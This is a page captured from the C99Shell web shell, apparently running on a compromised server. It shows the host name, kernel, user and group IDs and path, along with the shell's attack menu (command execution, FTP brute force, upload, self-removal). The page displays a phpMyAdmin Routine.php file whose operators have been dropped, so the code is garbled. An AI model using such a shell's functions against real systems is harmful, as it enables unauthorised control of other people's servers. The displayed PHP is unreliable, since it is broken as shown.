!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Utils/   drwxr-xr-x
Free 28.14 GB of 117.98 GB (23.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Routine.php (3.52 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\SqlParser\Utils;

use 
PhpMyAdmin\SqlParser\Components\DataType;
use 
PhpMyAdmin\SqlParser\Components\ParameterDefinition;
use 
PhpMyAdmin\SqlParser\Lexer;
use 
PhpMyAdmin\SqlParser\Parser;
use 
PhpMyAdmin\SqlParser\Statements\CreateStatement;

use function 
implode;
use function 
is_string;

/**
 * Routine utilities.
 */
class Routine
{
    
/**
     * Parses a parameter of a routine.
     *
     * @param string $param parameter's definition
     *
     * @return string[]
     */
    
public static function getReturnType($param)
    {
        
$lexer = new Lexer($param);

        
// A dummy parser is used for error reporting.
        
$type DataType::parse(new Parser(), $lexer->list);

        if (
$type === null) {
            return [
                
'',
                
'',
                
'',
                
'',
                
'',
            ];
        }

        
$options = [];
        foreach (
$type->options->options as $opt) {
            
$options[] = is_string($opt) ? $opt $opt['value'];
        }

        return [
            
'',
            
'',
            
$type->name,
            
implode(','$type->parameters),
            
implode(' '$options),
        ];
    }

    
/**
     * Parses a parameter of a routine.
     *
     * @param string $param parameter's definition
     *
     * @return string[]
     */
    
public static function getParameter($param)
    {
        
$lexer = new Lexer('(' $param ')');

        
// A dummy parser is used for error reporting.
        
$param ParameterDefinition::parse(new Parser(), $lexer->list);

        if (empty(
$param[0])) {
            return [
                
'',
                
'',
                
'',
                
'',
                
'',
            ];
        }

        
$param $param[0];

        
$options = [];
        foreach (
$param->type->options->options as $opt) {
            
$options[] = is_string($opt) ? $opt $opt['value'];
        }

        return [
            empty(
$param->inOut) ? '' $param->inOut,
            
$param->name,
            
$param->type->name,
            
implode(','$param->type->parameters),
            
implode(' '$options),
        ];
    }

    
/**
     * Gets the parameters of a routine from the parse tree.
     *
     * @param CreateStatement $statement the statement to be processed
     *
     * @return array<string, int|array<int, mixed[]|string|null>>
     */
    
public static function getParameters($statement)
    {
        
$retval = [
            
'num' => 0,
            
'dir' => [],
            
'name' => [],
            
'type' => [],
            
'length' => [],
            
'length_arr' => [],
            
'opts' => [],
        ];

        if (! empty(
$statement->parameters)) {
            
$idx 0;
            foreach (
$statement->parameters as $param) {
                
$retval['dir'][$idx] = $param->inOut;
                
$retval['name'][$idx] = $param->name;
                
$retval['type'][$idx] = $param->type->name;
                
$retval['length'][$idx] = implode(','$param->type->parameters);
                
$retval['length_arr'][$idx] = $param->type->parameters;
                
$retval['opts'][$idx] = [];
                foreach (
$param->type->options->options as $opt) {
                    
$retval['opts'][$idx][] = is_string($opt) ?
                        
$opt $opt['value'];
                }

                
$retval['opts'][$idx] = implode(' '$retval['opts'][$idx]);
                ++
$idx;
            }

            
$retval['num'] = $idx;
        }

        return 
$retval;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--